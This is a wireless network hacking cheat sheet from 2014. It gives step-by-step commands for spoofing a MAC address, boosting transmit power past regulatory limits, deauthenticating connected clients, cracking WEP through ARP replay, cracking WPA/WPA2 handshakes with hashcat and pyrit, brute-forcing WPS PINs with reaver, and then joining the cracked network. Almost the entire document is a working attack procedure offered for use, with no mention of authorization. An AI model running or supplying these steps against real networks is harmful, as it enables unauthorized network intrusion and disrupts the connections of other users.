Wireless Network Hacking Cheat Sheet v1.1 | created 2014-05-12 by Michael Allen

Follow the numbered boxes **in order** to crack the encryption of a wireless network.

CHEAT SHEET KEY

Mandatory instructions
Optional instructions (Optional)
Recommended but optional instructions

```
# Commands
$bssid – Wireless access point MAC
$client – Client device MAC
$mymac – Wireless interface MAC
$chan – Channel of the target network
$ESSID – Network's ESSID/network name
```

01. SETUP

Stop programs that might interfere with network settings (optional):

```
# service network-manager stop
# killall -9 dhclient wpa_supplicant
```

Take down wireless adapter for settings changes

```
# ifconfig wlan0 down
```

Spoof the MAC address (recommended)

```
# ifconfig wlan0 hw ether
00:11:22:33:44:55
```

OR:

```
# macchanger -m 00:11:22:33:44:55 wlan0
```

Put the card into monitor mode (Optional. May cause problems.)
Use mon0 for later commands instead of wlan0 if you do this.

```
# airmon-ng start wlan0
# airmon-ng ← to check that it worked
```

Increase transmit power (recommended)

```
# iw reg set BO
# iwconfig wlan0 txpower 30
```

Bring the interface back up to apply changes

```
# ifconfig wlan0 up
```

02. BEGIN CAPTURING TRAFFIC

Start airodump-ng and log captured traffic to a file

```
# airodump-ng wlan0 -w output-file-
prefix
```

While capturing traffic with airodump, check that traffic to see if AP's support WPS. This saves from having to sniff traffic twice!

```
# wash -C -f output-file-prefix-*.cap
```

03. FOCUS ON THE TARGET NETWORK

Stop the currently running airodump-ng (CTRL+C)

Run airodump-ng focused only on the target network

```
# airodump-ng wlan0 -w output-file-
prefix --channel $chan --bssid $bssid
```

A number is appended to the end of output-file-prefix every time, so it is OK to use the same prefix multiple times – it will not overwrite your saved data.

03.a. UNCOVER HIDDEN ESSID

You must capture a Probe frame sent by a client machine as it connects to the network.

Passive: Wait. Eventually it will happen on its own and the ESSID will appear in either the top (access points) or bottom (clients) portion of the currently running airodump-ng.

Active: Deauthenticate a connected client and capture the Probe when it reconnects:

```
# aireplay-ng -0 5 -a $bssid wlan0
```

For best results, specify the client MAC address too:

03.a. UNCOVER HIDDEN ESSID

```
# aireplay-ng -0 5 -a $bssid -c $client
wlan0
```

The ESSID will be shown next to the connected client in airodump-ng once it is captured.

04. IDENTIFY AND CRACK ENCRYPTION

***Protip**: Use the access point's MAC address to find the manufacturer. Then search by manufacturer or ESSID exploits and default wireless keys for that model.*

04.a. CRACKING WEP (p74/pdf85)

For WEP you have to capture enough data (IV's) to calculate the key.

Open a new terminal window, and begin cracking the data packets you're capturing with airodump-ng:

```
# aircrack-ng -a 1 -l output-cracked-
key.txt output-file-prefix-01.cap
```

If you need to stop and start again later, that is OK. Aircrack-ng can combine the data from multiple .cap files:

```
# aircrack-ng -a 1 -l ouput-cracked-
key.txt output-prefix-*.cap
```

Let this continue to run while you do the next steps.

Passive: Wait for enough traffic to pass across the network to crack the key. You can see how many data frames have been captured in airodump-ng's #Data column.

Active: Generate more traffic on the network using aireplay-ng to do a ARP replay attack. This will speed things up significantly if data is coming in slowly. Open another new window and run:

```
# aireplay-ng -3 -b $bssid -h $client
wlan0
```

If it is taking a while to capture any ARP requests, you can try to speed that up too by opening another window and deauthenticating the client while aireplay-ng is running. When it reconnects it will send an ARP request:

```
# aireplay -0 5 -a $bssid -c $client
wlan0
```

Once the key is cracked, aircrack-ng will display it on screen and save it to output-cracked-key.txt

04.b. CRACKING WPA/WPA2 (p85/pdf96)

1. Capture the 4-way handshake. This happens when a client device connects to the network. The already running airodump-ng will do this part. On success, airodump-ng displays:

```
[ WPA Handshake: 00:00:00:00:00:00
```

in the top right.

Passive: Wait for a device to connect to the network.

Active: Deauthenticate a device currently connected to the network and capture the handshake as it reconnects. In a new terminal window:

Disconnect one:

```
# aireplay-ng -0 5 -a $bssid -c $client
wlan0
```

OR disconnect them all:

```
# aireplay-ng -0 5 -a $bssid wlan0
```

***2. Verify the captured handshake.** Sometimes you don't get it even if airodump says you did.*

```
# cowpatty -c -r output-file-prefix-
01.cap
```

3. Crack the key (multiple options).

***a. Cracking with hashcat/oclhashcat.** Best option. Multi-core/GPU support, can pause/resume, etc.*

Convert the .cap file to a hashcat .hccap file:

```
# aircrack-ng output-file-prefix-01.cap
-J output-file-prefix
```

Crack the password:

```
# ./hashcat-cli64.bin -n #ofCores -m
2500 -a 0 -o CRACKED.txt output-file-
prefix.hccap wordlist.txt
```

b. Cracking with `pyrit` (supports multi-cores)
Using pyrit with a wordlist:

```
# pyrit -r output-file-prefix-01.cap -i
wordlist.txt -e "$ESSID" -o pyrit-
output.txt attack_passthrough
```

Using pyrit with `genpmk` tables:

```
# pyrit -r output-file-prefix-01.cap -i
rainbow.pmk -e "$ESSID" -o pyrit-
output.txt attack_cowpatty
```

04.b+ CRACKING WPS-ENABLED WPA/WPA2

The only way to crack WPA if the password is not in your list.
Close the running airodump-ng.
Bruteforce the WPS PIN:

```
reaver -vv -i mon0 -b $bssid -e $ESSID
-c $channel --mac=$mymac
```

*Capture the 4-way handshake and begin cracking it (04.b). **Then** attack WPS. If one attack fails or takes too long, the other may succeed.*

05. CONNECT TO THE NETWORK

Disable monitor mode. Enable managed mode.

```
# ifconfig wlan0 down
# airmon-ng stop wlan0
# iwconfig wlan0 mode managed
# ifconfig wlan0 up
```

Connect to a specific access point on the network:

```
# iwconfig wlan0 essid $ESSID ap $bssid
```

OR connect to ANY access point on the network:

```
# iwconfig wlan0 essid $ESSID ap any
```

Connect using WEP:

```
# iwconfig wlan0 essid $ESSID key
$PASSWORD && dhclient wlan0
```

Connect using WPA/WPA2:
Stop interfering programs (see setup).
Create wpa_supplicant.conf:

```
# wpa_passphrase $ESSID $PASSWORD >
wpa_supplicant.conf
```

Connect to the network.

```
# wpa_supplicant -cwpa_supplicant.conf
-iwlan0 -B && dhclient wlan0
```

Recommended resources:
BackTrack 5 Wireless Penetration Testing
www.routerpwn.com
www.renderlab.net/projects/WPA-tables